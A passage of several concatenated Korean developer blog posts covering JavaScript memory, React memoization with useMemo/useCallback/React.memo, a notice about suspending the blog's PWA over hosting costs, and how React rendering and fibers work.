컴퓨터 메모리는 엄청나게 복잡한 주제다. 그리고 이러한 주제를 다루기에 아직 부족한 면도 있고, 또 메모리와 관련된 질문에 대한 대부분의 답은 컴파일러와 프로세서 아키텍처 마다 다르다. 예를 들어, 변수는 항상 메모리(RAM)에 있는 것은 아니다. 즉, 대상 레지스터에 직접 로드될 수도 있고, 즉각적인 값으로 명령의 일부가 될 수도, 심지어 완전히 무의 상태로 최적화 될 수 있다. V8과 같은 자바스크립트 엔진은 너무 복잡하고, 제공하는 기능이 강력하므로, 만약 메모리 레이아웃과 같은 저수준의 세부 정보를 공부하기 위해서는 C, C++로 시작하여 소스코드가 기계코드가 되는 방법을 이해하는 것이 좋지 않을까?

## 더 읽어보기

- https://www.zhenghao.io/posts/javascript-variables
- http://www.egocube.pe.kr/lecture/content/html-javascript/202003240001

---

Source: https://yceffort.kr/2022/04/memo-for-referential-stability-in-react.md
Title: 참조 동일성을 위한 메모이제이션
Description: 세상에 나쁜 메모이제이션은 없다 🤔
Date: 2022-04-16
Tags: react, web-performance

## Table of Contents

## Introduction

리액트에서 `useMemo`나 `useCallback`을 사용해서 언제 메모이제이션을 해야하는지에 대한 논의는 꾸준히 존재해 왔다. 대부분, 메모이제이션을 해야하는 이유로 주장하는 것은 크게 두가지다.

- 복잡한 연산이나 계산을 최적화 하기 위해
- 리렌더간의 객체 참조성을 안전하게 가져가기 위해

사람들이 대부분 `useMemo` `useCallback`을 사용하지 말라고 할 때 언급하는 것은 보통 첫번째를 대부분 언급한다. 그리고 뒤 따라 오는 대답으로는 너무 '일찍 최적화' 하지 말라 라는 답이 온다.

하지만 여기에서 더 흥미로운 것은, 리렌더링 사이에서 객체를 안정화 시키기 위한 두번째 사용사례다. 이는 리액트의 함수형 프로그래밍 모델과 자바스크립트 언어 특징 간의 불일치를 드러낸다.

하지만 먼저, 왜 우리는 객체의 안정적인 참조를 원하는 것일까?

## 불안정한 객체가 새나가는 위험성

대부분의 사람들은 리액트의 함수형 컴포넌트가 어떤식으로 동작하는지 알 것이다. 매번 리액트 함수형 컴포넌트게가 렌더링되면, 해당 함수에 정의 되어 있는 로컬 함수와 커스텀 훅 모두 폐기 되고 처음부터 대시 생성된다. 이렇게 됨으로써 발생하는 성능 문제를 모던 브라우저에서 측정하기란 어렵지만, 리렌더링되면서 생기는 모든 객체는 계속해서 재생성되고 이 참조가 모두 다르게 된다.

이러한 객체가 그냥 일반적인 로컬 변수이고, 메모이즈 되지 않은채로 하위 컴포넌트로만 전달되지 않는다면, 리렌더링간에 발생하는 재생성은 크게 문제가 되지 않을 것이다.

그러나 이것이 커스텀 훅과 같은 재사용가능한 추상화를 생성할때, 불안정한 값을 반환하는 것은 잠재적으로 위험한 일이 될 수 있다. 궁극적으로 , hook, api, 라이브러리의 제작자가, 이를 사용하는 사용자가 불안정한 값을 다음과 같은 종속성 array에 넣을지 여부는 알수가 없다.

- `useEffect`안에 넣어서 이러한 변화를 추적하고자 하는 경우
- `useMemo` `useCallback`의 메모이 제이션 값으로 사용하는 경우
- `React.memo` `React.PureComponent`로 감싸진 자식 컴포넌트에 prop으로 넘기는 경우

이상적인 상황에서는, 훅, api, 라이브러리가 생성하는 이러한 값의 참조는 오직 의미있는 변화가 있을 때만 변경되어야 하며, 반대로 매 리렌더링으로 일어나는 생성시마다 새롭게 만들어져서는 안된다. 사용자가 api 에서 내려오는 값에 변화가 있는지 확인하기 위해 번거롭게 하지 않으려면, 사용자의 손에 넘어가기전에 이러한 값을 안정화시켜줄 필요가 있다.

그 다음으로 알아볼 것은, 리액트에서 어떻게 객체를 안정적으로 만들 것이냐 하는 일이다.

## 값을 안정화 시키는 방법

값을 안정화 시키는 방법에는 리액트에서 두가지가 있다.

- `useMemo` `useCallback`으로 객체를 모두 메모이제이션 하는 방법
- `useRef`를 사용하여 컴포넌트, 훅, api 외부에서 이를 사용할 수 있도록 끌어올리는 방법

위 두가지에 대해 모두 살펴보자.

### 모든 것을 메모이제이션

가장 단순하고 확실한 방법으로, 모든 것을 `useMemo` `useCallback`으로 감싸서 메모이제이션 한다음, 의존성이 변경되지 않는 한 리렌더링 간에 이러한 값의 변화를 막고 재사용할 수 있게 하는 것이다.

많은 사람들이 미리최적화하는것, (aka premature optimization) 이 좋지 않은 관행임을 잘 알고 있음에도 결국엔 모든 것을 메모이제이션 하는 것을 보았다. 물론, 모든 것을 메모이제이션 하는 것은 성능을 해칠 수 있지만, 불안정한 참조가 얘기치 않게 다른 메모이제이션을 파괴하는 것이 더욱 나쁘다.

form을 만들 때 사용하는 [react-hook-form](https://react-hook-form.com/)의 [원칙 중 하나](https://github.com/alibaba/hooks/blob/master/docs/guide/blog/function.en-US.md#principle)로, 훅으로 부터 반환되는 모든 함수를 메모이제이션하는 것을 볼 수 있다.

> https://github.com/react-hook-form/react-hook-form/blob/f7d9805844c5df7a0949d9907936530b3112287f/src/useFieldArray.ts#L332-L350

> `useMemo` `useCallback`은 캐시 삭제의 대상이 될 수도 있다. 리액트는 메모리의 상황이 여의치 않으면, 이러한 캐시된 값들을 날리고 다시 초기화할 수도 있다. 리액트 문서에는 다음과 같은 내용이 존재한다. 이와 관련된 내용이 리액트 공식 문서에 존재한다. https://reactjs.org/docs/hooks-reference.html#usememo

> You may rely on useMemo as a performance optimization, not as a semantic guarantee. In the future, React may choose to “forget” some previously memoized values and recalculate them on next render, e.g. to free memory for offscreen components. Write your code so that it still works without useMemo — and then add it to optimize performance.

> 이와 같은 내용이 걱정된다면, 아래에서 언급할 ref를 사용할 수도있다.

## ref에 모든 것을 저장하기

한가지 많은 사람들이 사용하고 있지 않은 메모이제이션의 대안으로, `useRef`를 사용하여 리렌더링 사이에 동일한 값을 사용하는 방법이 존재한다. 이러한 기법을 사용하고 있는 라이브러리가 [react-table](https://github.com/TanStack/react-table/blob/3ed64a99419d3c122f2f0f5e7138c491a094b349/packages/react-table/src/createTable.tsx#L225-L237) 이다.

이러한 기법이 가능한 이유는, `ref` 내부의 값이 컴포넌트의 `state`와는 다르게 컴포넌트 외부에 저장되어있기 때문이다. [dan abramov가 언급했던 것처럼](https://twitter.com/dan_abramov/status/1099842565631819776) `useRef`도 일종의 `useState`다.

```javascript
// useRef()
useState({current: initialValue})[0]
```

`state`와는 다르게, `reft의 값은 리렌더링 사이에 파괴되지 않으며, 새로 생성되지도 않는다.

## 불일치를 다룰 수 있는 좋은 방법

위 두개의 해결책은, 모두 앞서 언급했던 리액트의 함수형 프로그래밍 모델과, 자바스크립트 언어가 가지는 비 함수형 언어 사이의 불일치 때문에 발생하는 문제다. 쉽게 설명하자면, 리액트는 매 함수형 컴포넌트 리렌더링 사이에 함수 내부의 모든 로컬 객체를 재생성하는 특징을 가지고 있고, 자바스크립트는 ID나 참조가 아닌 값으로 비교하는 함수형 불변 데이터 구조를 제공하지 않고 있기 때문이다.

앞으로 이를 해결할 수 있는 방법으로 기대해볼 수 있는건 다음과 같다.

- [Javascript Record, Tuple](https://github.com/tc39/proposal-record-tuple)이 실제로 만들어진다면, 참조가 아닌 값과 내용으로 비교할 수 있는 immutable한 데이터 구조가 만들어질 것이다. 물론, 여전히 함수의 동일성에 대해서는 여전히 물음표다.
- [React Forget](https://www.youtube.com/watch?v=lGEMwh32soc) 으로 리액트 컴파일러가 자동으로 메모이제이션 해줄 수도 있다. (이 react forget에 대해서는 여전히 논란이지만)

## 모든 것을 메모이제이션 해야 하는 이유

### 왜 모든 컴포넌트를 memo 해야 하는가?

앞서 언급했던 것 처럼, memo가 필요한 상황은 분명히 존재한다. 그러므로 우리가 할 수 있는 선택지는 두가지다.

- 가끔 `memo`를 쓰기
- 모두 `memo`를 쓰기

첫번째가 물론 가장 이상적이다. `memo`를 사용해야할 때만 찾아서 쓰고, 그렇게 하는 것이다. 그리고 이를 대규모 팀에 적용하기 위해서, 계속해서 우리는 상기 시켜야 한다. 그러나 솔직히 아무리 열심히 작업한다라더라도 이르 제대로 100% 지키기는 어렵다.

그렇다면, 모든 것을 `memo`로 한다음, 잘못된 `memo`를 했을 때 비용은 얼마나 드는가 생각해봐야 한다. 만약 `memo` 컴포넌트를 잘 못 썼다면, 매 리렌더링 시에 여기에서 props에 대한 얕은 비교를 수행할 것이다. 그리고 이에 따른 절차는 아래와 같을 것이다.

1. 렌더링 함수 칠행
2. 모든 콜백을 새로 할당
3. 모든 `useMemo`를 새로 할당
4. 새로운 JSX elements 할당
5. 1 ~ 4를 모든 자식에 반복
6. 리액트 reconciler가 오래된 트리와 새로운 트리 비교

리액트 앱을 프로파일링 해본적이 있다면, 렌더링하는 모든 컴포넌트에 무시할 수 없는 성능적인 영향이 있다는 것을 알 수 있다. 반면 메모의 props 비교는 프로파일링에 거의 나타나지 않는다.

컴포넌트를 다시 불필요하게 렌더링하는 것은 props가 변경되었는지 여부를 불필요하게 테스트하는 것보다 비용이 더 많이 든다. 따라서 불필요한 비교보다는 불필요한 리렌더링을 막는 쪽에 더 심혈을 기울이는게 낫다. 모든 개발자가 실수할 수 있으므로, 이러한 실수를 막기 위한 더 최선의 방법으로 모든 것을 `memo`하는 것이다.

#### memo의 cpu 비용

만약 `memo`가 더 cpu에 무리가 가는 일이라면 어떨까? 경험상 그렇지 않은 것 같다. `memo`로 인한 문제가 프로파일에 뜨는 것을 본 적은 거의없지만, 렌더링이 cpu 시간을 소모하는 것음 매우 일반적이다. 일반적인 문제는, 너무 많은 컴포넌트가 한번에 마운팅 되는 등의 문제다.

#### memo의 메모리 비용

물론 `memo`는 값을 기억해야하는 특성상 메모리 소비가 존재한다. 그러나 이는 리액트에서는 조금 다르다. 리액트는 동작 방식으로 인해 이전 렌더링 결과는 후속 렌더링과 비교하기 위해 항상 유지지되고 있으야 한다. (항상 두개의 값을 가지고 있어야 한다.) 이것이 리액트의 reconciliation 의 기본이다.

> I don't think that it's a great analogy. Doing memoize() on every function would be horrible because you'd have to store the state of the input/output for all the calls. In the React case, React already does that for everything, so it's "free". - https://twitter.com/Vjeux/status/1083902075946205189

### `useCallback`을 모든 콜백함수에 쓰는 이유

`memo`에서 하고 있는 생각과 동일하다. 대부분의 콜백의 경우, 다른 컴포넌트의 `props`로 전달된다. 만약 이를 `useCallback`으로 감싸지 않는다면, `memo`가 깨질 것이다. 간단하다. `memo`가 동작하기 위해서, `useCallback`을 사용한다.

primitive 컴포넌트 전달되는 콜백은 어떤가? 여기에는 `useCallback`이 필요 없나? 그렇다. 그러나 만약 다른 사람이 이를 다른 컴포넌트로 감싼다면, 이 원래 컴포넌트 내부의 콜백을 다시 `useCallback`으로 감쌀까? 아마도 아닐 것이다.

여기에서도 앞선 논리와 동일한 논리가 적용된다. `useCallback`도 마찬가지로 cpu와 메모리를 잡아먹을 것이지만, 무시할 수준일 것이다. 모든 콜백은 메모리 어딘가에 저장될 필요가 있다. 이말인 즉슨, 이들은 언젠가 다시 호출될 수도 있다는 뜻이다.

### 모든 props와 deps에 `useMemo`를 사용하는 이유

새 객체나 배열을 만들 때도 마찬가지다. 이를 `useMemo`로 감싸지 않으면, props를 받는 모든 컴포넌트를 리렌더링할 것이다.

모든 렌더링 사이에 재생성되는 모든 데이터 구조는 deps에 표시함으로써 `useCallback`과 `useMemo`내에서 사용할 수 있다. 기본적으로 이를 메모이제이션 하지 않은 경우, 성능문제를 디버깅할 때 오랜시간을 소비해야 한다.

---

Source: https://yceffort.kr/2022/04/best-practice-useCallback-useMemo.md
Title: 리액트의 useCallback useMemo, 정확하게 사용하고 있을까
Description: 메모이제이션에 대한 고민 🤔
Date: 2022-04-16
Tags: react

## Table of Contents

## Introduction

리액트 코드를 리뷰하다보면, `useCallback`과 `useMemo`를 정말 많은 곳에 사용하는 것을 발견하게 된다. 일반적으로 두 훅을 쓰게 되는 이유는 컴포넌트에 무언가 함수를 전달할 때 마다 `useCallback`을 사용하는 것 같지만, 이는 문제에 대한 올바른 해결방법이 아니며 오히려 렌더링 시간에 문제를 일으킬 수 있다.

[많은 글](https://goongoguma.github.io/2021/04/26/When-to-useMemo-and-useCallback/)에서 언급된 것처럼 `useMemo`와 `useCallback`을 이용한 최적화의 비용은 공짜가 아니다.

## 문제는 무엇일까

리액트 컴포넌트 트리는 매우 클 수 있다. `React DevTools`를 열고 애플리케이션을 살펴보면, 한번에 많은 컴포넌트가 렌더링 되는 것을 볼 수 있다. 이 과정에서 한두개 정도 불필요한 `useCallback` `useMemo`를 사용하는 것은 별 문제가 되지 않지만, 이 코드가 여기저기 존재한다면 문제가 될 수 있다.

일반적인 오해 중 하나로는, `useCallback`을 사용하면 렌더링중 함수 재생성을 방지할 수 있다는 것인데, 꼭 그런 것 만은 아니다.

`useCallback`은 제공된 deps를 기준으로 반환된 함수 객체를 메모이제이션 하는 것 뿐이다. 즉, 동일한 deps가 제공되면 (참조로 비교) 동일한 함수 객체를 반환한다.

만약 그냥 새로운 함수를 매번 만드는 대신 `useCallback`으로 선언된 함수를 컴포넌트나 훅으로 넘겨주는 경우, `useCallback`을 사용함으로써 새로운 함수를 만들고, 새로운 배열을 만들어서 함수를 실행하고, deps의 동일성을 비교하기 위한 함수와 종속성 집합을 메모리에 저장하게 될 것이다.

이는 단순히 함수를 props로 만들어서 전달하는 것보다 훨씬더 많은 비용이 든다. `useCallback`을 사용하든, 사용하지 않았든 기능적으로는 동일하게 동작했을 것이다.

## props의 참조 동일성은 언제 문제가 될까?

만약 자식 컴포넌트가, `React.memo`를 사용하고 있거나 `React.PureComponent`로 구현되어 있는 경우, 리액트는 props가 정확하게 일치하는 한 부모 컴포넌트가 리렌더링 되더라도 이 자식 컴포넌트를 리렌더링하지 않을 것이다. 만약 다른 모든 props가 참조적으로 동일하지만, 만약 의도치 않게 새 함수 인트선트 또는 객체 인스턴스를 전달하게 되면, 해당 컴포넌트가 다시 리렌더링 된다.

이러한 컴포넌트에는 다시 렌더링하는데 비용이 많이 드는 하위 컴포넌트가 존재할 수 있으므로, `memo`에 대한 이러한 약속을 지키지 않으면 성능이 저하될 수 있다.

이러한 참조 동일성은 `props`가 `useEffect`의 종속성으로 사용되는 경우에도 문제가 될 수 있다. `props`가 변경될 때 마다 이 `useEffect`가 트리거 될 것이다.

## 지켜야할 규칙

### `useMemo`와 `useCallback`을 사용하지 말아야할 경우

1. `host` 컴포넌트에 (`div` `span` `a` `img`...) 전달하는 모든 항목에 대해 쓰지 말아야한다. 리액트는 여기에 함수 참조가 변경되었는지 신경쓰지 않는다. (`ref`, `mergeRefs`는 여기에서 제외된다.)
2. `leaf` 컴포넌트에는 쓰지말아야 한다.
3. `useCallback` `useMemo`의 의존성 배열에 완전히 새로운 객체와 배열을 전달해서는 안된다. 이는 항상 의존성이 같지 않다는 결과를 의미하며, 메모이제이션을 하는데 소용이 없다. `useEffect` `useCallback` `useMemo`의 모든 종속성은 참조 동일성을 확인한다.

```javascript
// dont
const x = [‘hello’];
const cb = useCallback(()={},[prop1,prop2, x])

// dont
const [a, ...rest] = someArray;
const cb = useCallback(()={},[rest]
```

4. 전달하려는 항목이 새로운 참조여도 상관없다면, 사용하지 말아야 한다. 매번 새로운 참조여도 상관없는데, 새로운 참조라면 메모이제이션하는 것이 의미가 없다.

> host 컴포넌트: 호스트 환경 (브라우저 또는 모바일)에 속하는 플랫폼 컴포넌트를 의미한다. DOM 호스트의 경우, `div`, `img`와 같은 요소가 될 수 있다.
> leaf 컴포넌트: DOM에서 다른 컴포넌트를 렌더링하지 않는 컴포넌트 (html 태그만 렌더링하는 컴포넌트)

### `useMemo`와 `useCallback`을 사용해야 하는 경우

1. 하위트리에 많은 Consumer가 있는 값을 Context Provider에 전달해야 하는 경우 `useMemo`를 사용하는 것이 좋다. `<ProductContext.Provider value={{id, name}} >`의 경우, 어떤 이유로든 해당 컴포넌트가 리렌더링 된다면 `id` `name`이 동일하더라도 매번 새로운 참조를 만들어 죄다 리렌더링 될 것이다.
2. 계산 비용이 많이 들고, 사용자의 입력 값이 `map`과 `filter`을 사용했을 때와 같이 이후 렌더링 이후로도 참조적으로 동일할 가능성이 높은 경우, `useMemo`를 사용하는 것이 좋다.
3. `ref` 함수를 부수작용과 함께 전달하거나, `mergeRef-style` 과 같이 wrapper 함수 ref를 만들 때 `useMemo`를 쓰자. ref 함수가 변경이 있을 때마다, 리액트는 과거 값을 `null`로 호출하고 새로운 함수를 호출한다. 이 경우 ref 함수의 이벤트 리스너를 붙이거나 제거하는 등의 불필요한 작업이 일어날 수 있다. 예를 들어, `useIntersectionObserver`가 반환하는 `ref`의 경우 `ref` 콜백 내부에서 observer의 연결이 끊기거나 연결되는 등의 동작이 일어날 수 있다.
4. 자식 컴포넌트에서 `useEffect`가 반복적으로 트리거되는 것을 막고 싶을 때 사용하자.
5. 매우 큰 리액트 트리 구조 내에서, 부모가 리렌더링 되었을 때 이에 다른 렌더링 전파를 막고 싶을 때 사용하자. 자식 컴포넌트가 `React.memo` `React.PureComponent`일 경우, 메모이제이션된 props를 사용하게되면 딱 필요한 부분만 리렌더링 될 것이다.

`React DevTools Profiler`를 사용하면 컴포넌트의 리렌더링 속도가 느린 경우, 상태 변경이 일어났을 때 얼마나 렌더링 시간이 걸렸는지 조사할 수 있다. 이렇게 하면 거대한 계단식 리렌더링을 방지하기 위해 `React.memo`를 사용할 위치를 찾을 수 있고, 필요한 경우 `useCallback` `useMemo`를 사용하여 상태변경을 더 효율적으로 만들 수 있다.

---

Source: https://yceffort.kr/2022/04/temporary-suspension-pwa.md
Title: [블로그] PWA 임시 중지
Description: 내 돈
Date: 2022-04-15
Tags: web-performance, devops

아무도 안볼 것 같은, 개인 지식 저장고와 같은 느낌으로 사용하고 있는 블로그가 어느새 여기저기 좌표가 찍혔는지 계속 트래픽이 증가하고 있습니다. 감사합니다. 🙇🏻

현재 서비스는 vercel에 deploy해서 사용하고 있는데요, 최근 들어 트래픽이 늘어나면서 pro tier 사용량을 초과해서 운영하고 있는 상황입니다.

![bandwidth](./images/bandwidth.png)

유료 계정은 월 20달러에 잘 해결 할 수 있지만, bandwidth가 월 1TB를 치면 이제 100GB당 40달러가 나가야 하는 상황이 옵니다. 이 때문에 실제로 지난달에는 제가 정신 나가있는 새벽을 틈타 $80를 강탈 당했습니다. ㅠㅠ

블로그에 광고를 달 생각은 지금도 앞으로도 없기 때문에, 블로그 경영 효율화를 위하여 몇 가지 임시 처리를 하고자 하는데, 그중 한가지 조치로 PWA를 잠시간 disable 처리하려고 합니다.

PWA를 disable 처리하면 이래저래 불편함은 있겠지만, 아마도 대부분의 사용자는 포스팅 하나 찍먹하고 다시 구글로 돌아갈 것이기 때문에 저에게 어느정도 숨통을 틔워줄 것으로 기대하고 있습니다.

어디까지나 이는 임시 처리고, 최종 목표는 다음과 같습니다.

- Vercel에서 독립, Google Cloud K8S로 이전
- 블로그 포스팅 썸네일 이미지를 포스팅 하는 시점에 자동으로 publish
  - 지금은 vercel의 serveless function으로 매 요청시에 생성 및 캐싱을 하고 있는데, 이것도 만만찮게 비용이 나가고 있습니다.
- PWA 원상복구

회사 생활이 매우 만만치 않아서 언제쯤 위 작업을 처리하고 완료할 수 있을지는 모르겠지만... 언젠가 마무리해서 돌아오겠습니다. (제발)

감사합니다.

---

Source: https://yceffort.kr/2022/04/deep-dive-in-react-rendering.md
Title: 리액트의 렌더링은 어떻게 일어나는가?
Description: 리액트에서 메모이제이션을 언제 해야하는가 고민 하다가 여기까지 왔다
Date: 2022-04-09
Tags: react, web-performance

## Table of Contents

## 렌더링이란 무엇인가?

리액트에서 렌더링이란, 컴포넌트가 현재 props와 state의 상태에 기초하여 UI를 어떻게 구성할지 컴포넌트에게 요청하는 작업을 의미한다.

### 렌더링 프로세스 살펴보기

렌더링이 일어나는 동안, 리액트는 컴포넌트의 루트에서 시작하여 아래쪽으로 쭉 훑어 보면서, 업데이트가 필요하다고 플래그가 지정되어 있는 모든 컴포넌트를 찾는다. 만약 플래그가 지정되어 있는 컴포넌트를 만난다면, 클래스 컴포넌트의 경우 `classComponentInstance.render()`를, 함수형 컴포넌트의 경우 `FunctionComponent()`를 호출하고, 렌더링된 결과를 저장한다.

컴포넌트의 렌더링 결과물은 일반적으로 JSX 문법으로 구성되어 있으며, 이는 js가 컴파일되고 런타임 시점에 `React.createElement()`를 호출하여 변환된다. `createElement`는 UI 구조를 설명하는 일반적인 JS 객체인 React Element를 리턴한다. 아래 예제를 살펴보자.

```jsx
// 일반적인 jsx문법
return <SomeComponent a={42} b="testing">Text here</SomeComponent>

// 이것을 호출해서 변환된다.
return React.createElement(SomeComponent, {a: 42, b: "testing"}, "Text Here")

// 호출결과 element를 나타내는 객체로 변환된다.
{type: SomeComponent, props: {a: 42, b: "testing"}, children: ["Text Here"]}
```

전체 컴포넌트에서 이러한 렌더링 결과물을 수집하고, 리액트는 새로운 오브젝트 트리 (가상돔이라고 알려져있는)와 비교하며, 실제 DOM을 의도한 출력처럼 보이게 적용해야 하는 모든 변경 사항을 수집한다. 이렇게 비교하고 계산하는 과정을 리액트에서는 `reconciliation`이라고 한다.

그런 다음, 리액트는 계산된 모든 변경사항을 하나의 동기 시퀀스로 DOM에 적용한다.

### 렌더와 커밋 단계

리액트는 이 단계를 의도적으로 두개로 분류하였다.

- `Render phase`:컴포넌트를 렌더링하고 변경사항을 계산하는 모든 작업
- `Commit phase`: 돔에 변경사항을 적용하는 과정

리액트가 DOM을 커밋페이즈에서 업데이트 한 이후에, 요청된 DOM 노드 및 컴포넌트 인스턴스를 가리키도록 모든 참조를 업데이트 한다. 그런 다음 클래스 라이프 사이클에 있는 `componentDidMount` `componentDidUpdate` 메소드를 호출하고, 리액트 함수형 컴포넌트에서는 `useLayoutEffect`훅을 호출 한다.

리액트는 짧은 timeout을 세팅한 이후에, 이것이 만료되면 `useEffect`를 호출한다. 이러한 단계는 `Passive Effects` 단계라고도 알려져 있다.

이러한 클래스 라이브 사이클 메소드 다이어그램은 [여기](https://projects.wojtekmaj.pl/react-lifecycle-methods-diagram/)에서 확인해 볼 수 있다.

> 이번에 리액트 18에서 나온 `Concurrent Mode`의 경우, 브라우저가 이벤트를 처리할 수 있도록 렌더링 단계에서 작업을 일시 중지 할 수 있다. 리액트는 해당 작업을 나중에 다시시작하거나, 버리거나, 다시 계산할 수 있다. 렌더링이 패스가 된 이후에도, 리액트는 커밋단계를 한단계 동기적으로 실행한다.

여기서 중요한 사실은, **렌더링은 DOM을 업데이트 하는 것과 같은것이 아니고, 컴포넌트는 어떠한 가시적인 변경이 없이도 컴포넌트가 렌더링 될 수 있다는 것** 이다.리액트가 컴포넌트를 렌더링하는 경우

- 컴포넌트는 이전과 같은 렌더링 결과물을 리턴해서, 아무런 변화가 일어나지 않을 수 있다.
- Concurrent Mode에서는, 리액트는 컴포넌트를 렌더링 하는 작업을 여러번 할 수 있지만, 다른 업데이트로 인해 현재 작업이 무효화 되면 매번 렌더링 결과물을 버린다.

## 리액트는 어떻게 렌더링을 다루는가

### 렌더링 순서를 만드는 법

최초 렌더링이 끝난이후에, 리액트가 리렌더링을 queueing 하는 방법에는 여러가지가 있다.

- 클래스 컴포넌트
  - `this.setState()`
  - `this.forceUpdate()`
- 함수형 컴포넌트
  - `useState()`의 setter
  - `useReducer()`의 dispatches
- 기타
  - `ReactDOM.render()`를 호출하는 것 (`forceUpdate`와 동일) (리액트 18에서는 사라짐)

### 일반적인 렌더링 동작

여기에서 우리가 기억해야할 중요한 것이 있다.

**리액트의 기본적인 동작은 부모 컴포넌트가 렌더링되면, 리액트는 모든 자식 컴포넌트를 순차적으로 리렌더링 한다는 것이다.**

예를 들어, `A > B > C > D` 순서의 컴포넌트 트리가 있다고 가정해보자. `B`에 카운터를 올리는 버튼이 있고, 이를 클릭했다고 가정해보자.

1. `B`의 `setState()`가 호출되어, B의 리렌더링이 렌더링 큐로 들어간다.
2. 리액트는 트리 최상단에서 부터 렌더링 패스를 시작한다.
3. `A`는 업데이트가 필요하다고 체크 되어 있지 않을 것이므로, 지나간다.
4. `B`는 업데이트가 필요한 컴포넌트로 체크되어 있으므로, B를 리렌더링 한다. `B`는 `C`를 리턴한다.
5. `C`는 원래 업데이트가 필요 한것으로 간주되어 있지 않았다. 그러나, 부모인 `B`가 렌더링 되었으므로, 리액트는 그 하위 컴포넌트인 `C`를 렌더링 한다. `C`는 `D`를 리턴한다.
6. `D`도 마찬가지로 렌더링이 필요하다고 체크되어 있지 않았지만, `C`가 렌더링된 관계로, 그 자식인 `D`도 렌더링 한다.

즉

**컴포넌트를 렌더링 하는 작업은, 기본적으로, 하위에 있는 모든 컴포넌트 또한 렌더링 하게 된다.**

또한

**일반적인 렌더링의 경우, 리액트는 `props`가 변경되어 있는지 신경쓰지 않는다. 부모 컴포넌트가 렌더링 되어 있기 때문에, 자식 컴포넌트도 무조건 리렌더링 된다.**

즉, 루트에서 `setState()`를 호출한다는 것은, 기본적으로, 컴포넌트 트리에 있는 모든 컴포넌트를 렌더링 한다는 것을 의미한다. 이제 트리의 대부분의 컴포넌트가 동일한 렌더링 결과물을 반환할 가능성이 높기 때문에, 리액트는 DOM을 변경할 필요가 없다. 그러나 리액트는 여전히 컴포넌트에게 렌더링을 요청하고, 이 렌더링 결과물을 비교하는 작업을 요구한다. 두가지 모두 시간과 노력이 필요하다.

한가지 기억해둬야 할 것은, 렌더링이 꼭 나쁜 것만은 아니라는 것이다. 단지 리액트가 실제로 DOM을 변경해야 하는지 여부를 확인하는 것일 뿐이다.

### 리액트 렌더링 규칙

리액트 렌더링의 중요한 규칙 중 하나는 **렌더링은 '순수' 해야하고 '부수작용' 이 없어야 한다는 것** 이다. 근데 이는 매우 복잡하고 어려운데, 왜냐하면 대다수의 부수 작용이 왜 이러났는지 뚜렷하지 못하고, 어떤 것도 망가 뜨리지 않기 때문이다. 예를 들어, 엄밀히 말하면 `console.log()`도 부수작업을 야기하지만, 그 어떤 것도 망가 뜨리지 않는다. `prop` 가 변경되는 것은 명백한 부수효과 이며, 이는 무언가를 망가 뜨릴 수 있다. 렌더링 중간에 ajax 호출 또한 부수효과를 일으키고, 이는 요청의 종류에 따라서 명백하게 앱에 예기치 못한 결과를 야기할 수 있다.

[Rules of React](https://gist.github.com/sebmarkbage/75f0838967cd003cd7f9ab938eb1958f)라는 글이 있다. 이 글에서는, 렌더링을 표함한 다양한 리액트의 라이프 사이클 메소드의 동작과, 어떠한 동작이 '순수' 한지, 혹은 안전한지를 나타내고 있다. 요약하자면

렌더링 로직이 할 수 없는 것

- 존재하는 변수나 객체를 변경해서는 안된다.
- `Math.random()` `Date.now()`와 같은 랜덤 값을 생성할 수 없다.
- 네트워크 요청을 할 수 없다.
- `state`를 업데이트

렌더링 로직은

- 렌더링 도중에 새롭게 만들어진 객체를 변경
- 에러 던지기
- 아직 만들어지지 않은 데이터를 lazy 초기화 하는일 (캐시 같은)

등이 가능하다.

### 컴포넌트 메타데이터와 파이버

리액트는 애플리케이션에 존재하는 모든 현재 컴포넌트 인스턴스를 추적하는 내부 데이터 구조를 가지고 있다. 이 데이터 구조의 핵심적인 부분은, 다음과 같은 메타데이터 필드를 포함하고 있는 Fiber라고 불리는 객체다.

- 컴포넌트 트리의 특정 시점에서 렌더링 해야하는 컴포넌트 타입의 유형
- 이 컴포넌트와 관련된 prop, state의 상태
- 부모, 형제, 자식 컴포넌트에 대한 포인터
- 리액트가 렌더링 프로세스를 추적하는데 사용되는 기타 메타데이터

리액트 17의 `fiber` 타입은 [여기](https://github.com/facebook/react/blob/v17.0.0/packages/react-reconciler/src/ReactFiber.new.js#L47-L174)에서 볼 수 있다.

렌더링 패스 동안, 리액트는 fiber 객체의 트리를 순회하고, 새로운 렌더링 결과를 계산한 결과로 나온 업데이트 된 트리를 생성한다.

**`fiber` 객체는 실제 컴포넌트 prop과 state 값을 저장하고 있다.** 컴포넌트에서 `prop`와 `state`의 값을 꺼내서 쓴다는 것은, 사실 리액트는 이러한 값을 fiber 객체에 있는 것으로 전달해준다. 사실, 클래스 컴포넌트의 경우, 리액트는 컴포넌트를 렌더링 하기 직전에 [`componentInstance.props = newProps`를 통해서 복사본을 저장](https://github.com/facebook/react/blob/v17.0.0/packages/react-reconciler/src/ReactFiberClassComponent.new.js#L1038-L1042)해준다. `this.props`가 존재한다는 것은, 리액트가 내부 데이터 구조의 참조를 복사해 두었다는 뜻이기도 하다. 즉, 컴포넌트라는 것은 리액트 fiber 객체를 보여주는 일종의 외관이라고 볼 수 있다.

비슷하게, [리액트 훅의 작동 또한 해당 컴포넌트의 fiber 객체에 연결된 링크드 리스트 형태로 저장하는 방식](https://www.swyx.io/getting-closure-on-hooks/)으로 동작한다. 리액트가 함수형 컴포넌트를 렌더링하면, fiber에 연결된 후의 링크드 리스트롤 가져오며, [다른 훅을 호출할 때마다 훅에 저장된 적절한 값을 반환한다.](https://github.com/facebook/react/blob/v17.0.0/packages/react-reconciler/src/ReactFiberHooks.new.js#L795)

부모 컴포넌트가 렌더링되어 자식 컴포넌트가 주어진다면, 리액트는 fiber 객체를 만들어 이 컴포넌트의 인스턴스를 추적한다. 클래스 컴포넌트의 경우, [`const instance = new YourComponentType(props)` 가 호출되고](https://github.com/facebook/react/blob/v17.0.0/packages/react-reconciler/src/ReactFiberClassComponent.new.js#L653) 새로운 컴포넌트 인스턴스를 fiber 객체에 저장한다. 함수형 컴포넌트의 경우에는, [YourComponentType(props)](https://github.com/facebook/react/blob/v17.0.0/packages/react-reconciler/src/ReactFiberHooks.new.js#L405)를 호출한다.

### 컴포넌트 타입과 재조정 (`Reconciliation`)

